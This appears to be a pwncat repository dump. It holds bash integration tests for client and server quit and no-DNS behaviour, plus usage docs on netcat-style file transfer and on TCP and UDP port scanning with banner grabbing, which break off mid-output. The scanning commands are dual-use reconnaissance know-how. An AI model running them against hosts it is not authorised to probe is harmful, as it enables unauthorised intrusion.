-------------------------------------------------------------------------------- 77 | print_h2 "(3/3) Test: Client shut down automatically" 78 | 79 | # [CLIENT] Ensure Client has quit automatically 80 | test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 81 | 82 | # [CLIENT] Ensure Client has no errors 83 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 84 | } 85 | 86 | 87 | # ------------------------------------------------------------------------------------------------- 88 | # MAIN ENTRYPOINT 89 | # ------------------------------------------------------------------------------------------------- 90 | 91 | for curr_round in $(seq "${RUNS}"); do 92 | run_test "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "2" "${curr_round}" "${RUNS}" 93 | run_test "${RHOST} ${RPORT} --no-shutdown " "2" "2" "${curr_round}" "${RUNS}" 94 | #run_test "${RHOST} ${RPORT} --no-shutdown -vvv " "2" "5" "${curr_round}" "${RUNS}" 95 | #run_test "${RHOST} ${RPORT} --no-shutdown -vv " "3" "5" "${curr_round}" "${RUNS}" 96 | #run_test "${RHOST} ${RPORT} --no-shutdown -v " "4" "5" "${curr_round}" "${RUNS}" 97 | #run_test "${RHOST} ${RPORT} --no-shutdown " "5" "5" "${curr_round}" "${RUNS}" 98 | done 99 | -------------------------------------------------------------------------------- /tests/integration/20-options---nodns/000---tcp---client_nodns.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local cli_opts="${1// / }" 35 | local curr_mutation="${2}" 36 | local total_mutation="${3}" 37 | local curr_round="${4}" 38 | local total_round="${5}" 39 | local data= 40 | 41 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" 42 | run "sleep 1" 43 | 44 | ### 45 | ### Create data and files 46 | ### 47 | data="$(tmp_file)" 48 | printf "HEAD / HTTP/1.1\\n\\n" > "${data}" 49 | cli_stdout="$(tmp_file)" 50 | cli_stderr="$(tmp_file)" 51 | 52 | 53 | # -------------------------------------------------------------------------------- 54 | # START: CLIENT 55 | # -------------------------------------------------------------------------------- 56 | print_h2 "(2/4) Start: Client" 57 | 58 | # Start Client 59 | print_info "Start Client and hope it fails" 60 | # shellcheck disable=SC2086 61 | if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 62 | printf "" 63 | fi 64 | 65 | # Wait until Client is up 66 | run "sleep ${STARTUP_WAIT}" 67 | 68 | # [CLIENT] Ensure Client has quit automatically 69 | test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 70 | 71 | # [CLIENT] Ensure Client has errors 72 | test_case_instance_has_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 73 | 74 | # Ensure Client has no errors 75 | print_info "Checking for 'Resolve Error'" 76 | if ! run "grep \"Resolve Error\" ${cli_stderr}"; then 77 | print_file "CLIENT STDERR" "${cli_stderr}" 78 | print_file "CLIENT STDOUT" "${cli_stdout}" 79 | print_error "'Resolve Error' not found in error" 80 | exit 1 81 | fi 82 | } 83 | 84 | 85 | # ------------------------------------------------------------------------------------------------- 86 | # MAIN ENTRYPOINT 87 | # ------------------------------------------------------------------------------------------------- 88 | 89 | for curr_round in $(seq "${RUNS}"); do 90 | run_test "${RHOST} ${RPORT} --no-shutdown -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" 91 | #run_test "${RHOST} ${RPORT} --no-shutdown -n -vvv " "2" "10" "${curr_round}" "${RUNS}" 92 | #run_test "${RHOST} ${RPORT} --no-shutdown -n -vv " "3" "10" "${curr_round}" "${RUNS}" 93 | #run_test "${RHOST} ${RPORT} --no-shutdown -n -v " "4" "10" "${curr_round}" "${RUNS}" 94 | #run_test "${RHOST} ${RPORT} --no-shutdown -n " "5" "10" "${curr_round}" "${RUNS}" 95 | 96 | #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" 97 | #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" 98 | #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" 99 | #run_test "${RHOST} ${RPORT} --no-shutdown --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" 100 | #run_test "${RHOST} ${RPORT} --no-shutdown --nodns " "10" "10" "${curr_round}" "${RUNS}" 101 | done 102 | -------------------------------------------------------------------------------- /tests/integration/20-options---nodns/100---tcp---server_nodns.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local curr_mutation="${2}" 36 | local total_mutation="${3}" 37 | local curr_round="${4}" 38 | local total_round="${5}" 39 | local data= 40 | 41 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}')" 42 | run "sleep 1" 43 | 44 | ### 45 | ### Create data and files 46 | ### 47 | data="$(tmp_file)" 48 | printf "HEAD / HTTP/1.1\\n\\n" > "${data}" 49 | srv_stdout="$(tmp_file)" 50 | srv_stderr="$(tmp_file)" 51 | 52 | 53 | # -------------------------------------------------------------------------------- 54 | # START: SERVER 55 | # -------------------------------------------------------------------------------- 56 | print_h2 "(1/4) Start: Server" 57 | 58 | # Start Server 59 | print_info "Start Server" 60 | # shellcheck disable=SC2086 61 | if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 62 | printf "" 63 | fi 64 | 65 | # Wait until Server is up 66 | run "sleep ${STARTUP_WAIT}" 67 | 68 | # [SERVER] Ensure Server has quit automatically 69 | test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 70 | 71 | # [SERVER] Ensure Server has errors 72 | test_case_instance_has_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 73 | 74 | # Ensure Server has no errors 75 | print_info "Checking for 'Resolve Error'" 76 | if ! run "grep \"Resolve Error\" ${srv_stderr}"; then 77 | print_file "SERVER STDERR" "${srv_stderr}" 78 | print_file "SERVER STDOUT" "${srv_stdout}" 79 | print_error "'Resolve Error' not found in error" 80 | exit 1 81 | fi 82 | } 83 | 84 | 85 | # ------------------------------------------------------------------------------------------------- 86 | # MAIN ENTRYPOINT 87 | # ------------------------------------------------------------------------------------------------- 88 | 89 | for curr_round in $(seq "${RUNS}"); do 90 | run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" 91 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vvv " "2" "10" "${curr_round}" "${RUNS}" 92 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -vv " "3" "10" "${curr_round}" "${RUNS}" 93 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n -v " "4" "10" "${curr_round}" "${RUNS}" 94 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -n " "5" "10" "${curr_round}" "${RUNS}" 95 | 96 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" 97 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" 98 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" 99 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" 100 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown --nodns " "10" "10" "${curr_round}" "${RUNS}" 101 | done 102 | -------------------------------------------------------------------------------- /tests/integration/20-options---nodns/001---udp---client_nodns.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local cli_opts="${1// / }" 35 | local curr_mutation="${2}" 36 | local total_mutation="${3}" 37 | local curr_round="${4}" 38 | local total_round="${5}" 39 | local data= 40 | 41 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" 42 | run "sleep 1" 43 | 44 | ### 45 | ### Create data and files 46 | ### 47 | data="$(tmp_file)" 48 | printf "HEAD / HTTP/1.1\\n\\n" > "${data}" 49 | cli_stdout="$(tmp_file)" 50 | cli_stderr="$(tmp_file)" 51 | 52 | 53 | # -------------------------------------------------------------------------------- 54 | # START: CLIENT 55 | # -------------------------------------------------------------------------------- 56 | print_h2 "(2/4) Start: Client" 57 | 58 | # Start Client 59 | print_info "Start Client and hope it fails" 60 | # shellcheck disable=SC2086 61 | if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 62 | printf "" 63 | fi 64 | 65 | # Wait until Client is up 66 | run "sleep ${STARTUP_WAIT}" 67 | 68 | # [CLIENT] Ensure Client has quit automatically 69 | test_case_instance_is_stopped "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 70 | 71 | # [CLIENT] Ensure Client has errors 72 | test_case_instance_has_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 73 | 74 | # Ensure Client has no errors 75 | print_info "Checking for 'Resolve Error'" 76 | if ! run "grep \"Resolve Error\" ${cli_stderr}"; then 77 | print_file "CLIENT STDERR" "${cli_stderr}" 78 | print_file "CLIENT STDOUT" "${cli_stdout}" 79 | print_error "'Resolve Error' not found in error" 80 | exit 1 81 | fi 82 | } 83 | 84 | 85 | # ------------------------------------------------------------------------------------------------- 86 | # MAIN ENTRYPOINT 87 | # ------------------------------------------------------------------------------------------------- 88 | 89 | for curr_round in $(seq "${RUNS}"); do 90 | run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" 91 | #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" 92 | #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" 93 | #run_test "${RHOST} ${RPORT} --no-shutdown -u -n -v " "4" "10" "${curr_round}" "${RUNS}" 94 | #run_test "${RHOST} ${RPORT} --no-shutdown -u -n " "5" "10" "${curr_round}" "${RUNS}" 95 | 96 | #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" 97 | #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" 98 | #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" 99 | #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" 100 | #run_test "${RHOST} ${RPORT} --no-shutdown -u --nodns " "10" "10" "${curr_round}" "${RUNS}" 101 | done 102 | -------------------------------------------------------------------------------- /tests/integration/20-options---nodns/101---udp---server_nodns.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="${1:-localhost}" 19 | RPORT="${2:-4444}" 20 | 21 | STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local srv_opts="${1// / }" 35 | local curr_mutation="${2}" 36 | local total_mutation="${3}" 37 | local curr_round="${4}" 38 | local total_round="${5}" 39 | local data= 40 | 41 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}')" 42 | run "sleep 1" 43 | 44 | ### 45 | ### Create data and files 46 | ### 47 | data="$(tmp_file)" 48 | printf "HEAD / HTTP/1.1\\n\\n" > "${data}" 49 | srv_stdout="$(tmp_file)" 50 | srv_stderr="$(tmp_file)" 51 | 52 | 53 | # -------------------------------------------------------------------------------- 54 | # START: SERVER 55 | # -------------------------------------------------------------------------------- 56 | print_h2 "(1/4) Start: Server" 57 | 58 | # Start Server 59 | print_info "Start Server" 60 | # shellcheck disable=SC2086 61 | if ! srv_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then 62 | printf "" 63 | fi 64 | 65 | # Wait until Server is up 66 | run "sleep ${STARTUP_WAIT}" 67 | 68 | # [SERVER] Ensure Server has quit automatically 69 | test_case_instance_is_stopped "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 70 | 71 | # [SERVER] Ensure Server has errors 72 | test_case_instance_has_errors "Server" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" 73 | 74 | # Ensure Server has no errors 75 | print_info "Checking for 'Resolve Error'" 76 | if ! run "grep \"Resolve Error\" ${srv_stderr}"; then 77 | print_file "SERVER STDERR" "${srv_stderr}" 78 | print_file "SERVER STDOUT" "${srv_stdout}" 79 | print_error "'Resolve Error' not found in error" 80 | exit 1 81 | fi 82 | } 83 | 84 | 85 | # ------------------------------------------------------------------------------------------------- 86 | # MAIN ENTRYPOINT 87 | # ------------------------------------------------------------------------------------------------- 88 | 89 | for curr_round in $(seq "${RUNS}"); do 90 | run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vvvv " "1" "10" "${curr_round}" "${RUNS}" 91 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vvv " "2" "10" "${curr_round}" "${RUNS}" 92 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -vv " "3" "10" "${curr_round}" "${RUNS}" 93 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n -v " "4" "10" "${curr_round}" "${RUNS}" 94 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u -n " "5" "10" "${curr_round}" "${RUNS}" 95 | 96 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vvvv" "6" "10" "${curr_round}" "${RUNS}" 97 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vvv " "7" "10" "${curr_round}" "${RUNS}" 98 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -vv " "8" "10" "${curr_round}" "${RUNS}" 99 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns -v " " 9" "10" "${curr_round}" "${RUNS}" 100 | #run_test "-l ${RHOST} ${RPORT} --no-shutdown -u --nodns " "10" "10" "${curr_round}" "${RUNS}" 101 | done 102 | -------------------------------------------------------------------------------- /tests/integration/01-behaviour-quit--client/200---tcp---client_stays---when_valid_http_request.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="www.google.com" 19 | RPORT="80" 20 | 21 | #STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local cli_opts="${1// / }" 35 | local curr_mutation="${2}" 36 | local total_mutation="${3}" 37 | local curr_round="${4}" 38 | local total_round="${5}" 39 | local data= 40 | 41 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" 42 | 43 | ### 44 | ### Create data and files 45 | ### 46 | data="$(tmp_file)" 47 | printf "HEAD / HTTP/1.1\\n\\n" > "${data}" 48 | cli_stdout="$(tmp_file)" 49 | cli_stderr="$(tmp_file)" 50 | 51 | 52 | # -------------------------------------------------------------------------------- 53 | # START: CLIENT 54 | # -------------------------------------------------------------------------------- 55 | print_h2 "(1/4) Start: Client" 56 | 57 | # Start Client 58 | print_info "Start Client" 59 | # shellcheck disable=SC2086 60 | if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 61 | printf "" 62 | fi 63 | 64 | 65 | # -------------------------------------------------------------------------------- 66 | # DATA TRANSFER 67 | # -------------------------------------------------------------------------------- 68 | print_h2 "(2/4) Transfer: Client -> Google -> Client" 69 | 70 | # [CLIENT] -> [GOOGLE] -> CLIENT] 71 | wait_for_data_transferred "^Set-Cookie:" "" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 72 | 73 | 74 | # -------------------------------------------------------------------------------- 75 | # TEST: Client stays alive 76 | # -------------------------------------------------------------------------------- 77 | print_h2 "(3/4) Test: Client stays alive" 78 | run "sleep 2" 79 | 80 | # [CLIENT] Ensure Client has no errors 81 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 82 | 83 | # [CLIENT] Ensure Client is still running 84 | test_case_instance_is_running "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 85 | 86 | 87 | # -------------------------------------------------------------------------------- 88 | # STOP: Client 89 | # -------------------------------------------------------------------------------- 90 | print_h2 "(4/4) Stop: Client" 91 | 92 | # [CLIENT] Manually stop the Client 93 | action_stop_instance "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 94 | 95 | # [CLIENT] Ensure Client has no errors 96 | test_case_instance_has_no_errors "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 97 | } 98 | 99 | 100 | # ------------------------------------------------------------------------------------------------- 101 | # MAIN ENTRYPOINT 102 | # ------------------------------------------------------------------------------------------------- 103 | 104 | for curr_round in $(seq "${RUNS}"); do 105 | run_test "${RHOST} ${RPORT} --no-shutdown -vvvv" "1" "2" "${curr_round}" "${RUNS}" 106 | run_test "${RHOST} ${RPORT} --no-shutdown " "2" "2" "${curr_round}" "${RUNS}" 107 | #run_test "${RHOST} ${RPORT} --no-shutdown -vvv " "2" "5" "${curr_round}" "${RUNS}" 108 | #run_test "${RHOST} ${RPORT} --no-shutdown -vv " "3" "5" "${curr_round}" "${RUNS}" 109 | #run_test "${RHOST} ${RPORT} --no-shutdown -v " "4" "5" "${curr_round}" "${RUNS}" 110 | #run_test "${RHOST} ${RPORT} --no-shutdown " "5" "5" "${curr_round}" "${RUNS}" 111 | done 112 | -------------------------------------------------------------------------------- /share/doc/usage/send-receive-files.rst: -------------------------------------------------------------------------------- 1 | ********************** 2 | Send and receive files 3 | ********************** 4 | 5 | Sending and receiving files works in the same way as you would do with netcat. 6 | 7 | .. contents:: Table of Contents 8 | :local: 9 | :class: local-toc 10 | 11 | 12 | Send and receive behaviour 13 | ========================== 14 | 15 | Like the original implementation of ``netcat``, when using TCP, ``pwncat`` (in client and listen mode) 16 | will automatically quit, if the network connection has been terminated, properly or improperly. 17 | In case the remote peer does not terminate the connection, or in UDP mode, ``netcat`` and ``pwncat`` 18 | will stay open. The behaviour differs a bit when STDIN is closed. 19 | 20 | 1. ``netcat``: If STDIN is closed, but connection stays open, netcat will stay open 21 | 2. ``pwncat``: If STDIN is closed, but connection stays open, pwncat will close 22 | 23 | You can emulate the ``netcat`` behaviour with ``--no-shutdown`` command line argument. 24 | 25 | **TL;DR:** When sending and receiving files with ``pwncat`` in TCP mode, both client and server instances will terminate as soon as the file has been transfered. 26 | 27 | 28 | TCP mode 29 | ======== 30 | 31 | Receiving Listener 32 | ------------------ 33 | 34 | In this example the listening instance of pwncat will receive a file from the connecting instance. 35 | 36 | .. code-block:: bash 37 | 38 | # Pipe any data received into a file called output.txt 39 | pwncat -l 4444 > output.txt 40 | 41 | Another pwncat instance will send a local file to the listening instance created above 42 | 43 | .. code-block:: bash 44 | 45 | # The file 'some-file.txt' will be send to 10.0.0.1 on port 4444 46 | pwncat -l 4444 10.0.0.1 < some-file.txt 47 | 48 | 49 | Sending Listener 50 | ---------------- 51 | 52 | In this example the listening instance of pwncat will send a file to the connecting instance. 53 | 54 | .. code-block:: bash 55 | 56 | # Send file 'some-file.txt' to whoever connects to this instance 57 | pwncat -l 4444 < some-file.txt 58 | 59 | Another pwncat instance will connect to it and receive the data into a file. 60 | 61 | .. code-block:: bash 62 | 63 | # Connect to 10.0.0.1:4444 and store output in file 'output.txt' 64 | pwncat -l 4444 10.0.0.1 > output.txt 65 | 66 | 67 | UDP mode 68 | ======== 69 | 70 | .. note:: 71 | As UDP is a stateless protocol, pwncat is not able to determine when all data has been send or 72 | received, thus it will stay open, even if data has been completely send. 73 | You will need to terminate both, the sending and receiving instances manually. 74 | 75 | Also note that UDP is not as reliable as TCP and sending files should rather be done in TCP mode. 76 | 77 | Receiving Listener 78 | ------------------ 79 | 80 | In this example the listening instance of pwncat will receive a file from the connecting instance. 81 | 82 | .. code-block:: bash 83 | 84 | # Pipe any data received into a file called output.txt 85 | pwncat -u -l 4444 > output.txt 86 | 87 | Another pwncat instance will send a local file to the listening instance created above 88 | 89 | .. code-block:: bash 90 | 91 | # The file 'some-file.txt' will be send to 10.0.0.1 on port 4444 92 | pwncat -u -l 4444 10.0.0.1 < some-file.txt 93 | 94 | 95 | Sending Listener 96 | ---------------- 97 | 98 | In this example the listening instance of pwncat will send a file to the connecting instance. 99 | 100 | .. code-block:: bash 101 | 102 | # Send file 'some-file.txt' to whoever connects to this instance 103 | pwncat -u -l 4444 < some-file.txt 104 | 105 | Another pwncat instance will connect to it and receive the data into a file. 106 | 107 | .. code-block:: bash 108 | 109 | # Connect to 10.0.0.1:4444 and store output in file 'output.txt' 110 | pwncat -u -l 4444 10.0.0.1 > output.txt 111 | 112 | 113 | FAQ 114 | === 115 | 116 | 1. Can I send binary data? 117 | -------------------------- 118 | Yes, ``pwncat`` automatically detects if input or output is text-based or binary and sends or receives 119 | it accordingly without the need to specify it explicitly. 120 | 121 | 2. Can I mix ``netcat`` and ``pwncat`` while sending and receiving files? 122 | ------------------------------------------------------------------------- 123 | Yes, ``pwncat`` is fully compatible with ``netcat`` and you can for instance receive a file with 124 | ``pwncat`` which is being send by ``netcat`` or vice versa. 125 | -------------------------------------------------------------------------------- /share/doc/usage/portscanning.rst: -------------------------------------------------------------------------------- 1 | ************* 2 | Port Scanning 3 | ************* 4 | 5 | 6 | TCP Port Scan 7 | ============= 8 | 9 | The following examples scan TCP ports for both, IPv4 and IPv6: 10 | 11 | .. code-block:: bash 12 | 13 | # scan ports by selection: 80, 443 and 8080 14 | pwncat -z 10.0.0.1 80,443,8080 15 | 16 | # scan ports by range: 1-65535 17 | pwncat -z 10.0.0.1 1-65535 18 | 19 | # scan ports by increment: 1+1023 (1 and the next 1023 ports) 20 | pwncat -z 10.0.0.1 1+1024 21 | 22 | 23 | UDP Port Scan 24 | ============= 25 | 26 | The following examples scan UDP ports (``-u``) for both, IPv4 and IPv6: 27 | 28 | .. code-block:: bash 29 | 30 | # scan ports by selection: 80, 443 and 8080 31 | pwncat -z 10.0.0.1 80,443,8080 -u 32 | 33 | # scan ports by range: 1-65535 34 | pwncat -z 10.0.0.1 1-65535 -u 35 | 36 | # scan ports by increment: 1+1023 (1 and the next 1023 ports) 37 | pwncat -z 10.0.0.1 1+1024 -u 38 | 39 | 40 | IPv4 or IPv6 Port Scan 41 | ====================== 42 | 43 | By default the port scanning will scan for both, IPv4 and IPv6. If you want to explicitly scan either of them only, you can append either ``-4`` or ``-6``. This works for TCP and UDP. 44 | 45 | 46 | .. code-block:: bash 47 | 48 | # scan IPv4 ports only 49 | pwncat -z 10.0.0.1 80,443,8080 -4 50 | 51 | # scan IPv6 ports only 52 | pwncat -z 10.0.0.1 80,443,8080 -6 53 | 54 | 55 | Version detection 56 | ================= 57 | 58 | ``pwncat`` also supports basic version detection by grabbing the and parsing the banner of a listening service (``--banner``). This of course is not as accurate as ``nmap``'s version detection as it does not do any fingerprinting, but for basic detection works moderately well. 59 | 60 | .. code-block:: bash 61 | 62 | # Port scan and detect running versions 63 | pwncat -z 10.0.0.1 80,443,8080 --banner 64 | 65 | 66 | UDP Scan Performance 67 | ==================== 68 | 69 | In UDP mode ``pwncat`` is insanely fast detecting open ports compared to other scanners. 70 | 71 | 72 | .. note:: 73 | Due to its aggressively fast scanning behaviour, pwncat sometimes might give false 74 | positive results when detecting open UDP ports. 75 | 76 | The following ports are exposed 77 | ------------------------------- 78 | 79 | .. code-block:: bash 80 | 81 | $ sudo netstat -ulpn 82 | Active Internet connections (only servers) 83 | Proto Recv-Q Send-Q Local Address Foreign Address 84 | udp 0 0 0.0.0.0:631 0.0.0.0:* 85 | udp 0 0 0.0.0.0:5353 0.0.0.0:* 86 | udp 0 0 0.0.0.0:39856 0.0.0.0:* 87 | udp 0 0 0.0.0.0:68 0.0.0.0:* 88 | udp 0 0 0.0.0.0:68 0.0.0.0:* 89 | udp6 0 0 :::1053 :::* 90 | udp6 0 0 :::5353 :::* 91 | udp6 0 0 :::57728 :::* 92 | 93 | nmap performance 94 | ---------------- 95 | 96 | .. code-block:: bash 97 | 98 | $ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU 99 | Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST 100 | Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). 101 | Nmap scan report for localhost (127.0.0.1) 102 | Host is up (0.000035s latency). 103 | Other addresses for localhost (not scanned): ::1 104 | Not shown: 65529 closed ports 105 | PORT STATE SERVICE 106 | 68/udp open|filtered dhcpc 107 | 631/udp open|filtered ipp 108 | 1053/udp open|filtered remote-as 109 | 5353/udp open|filtered zeroconf 110 | 39856/udp 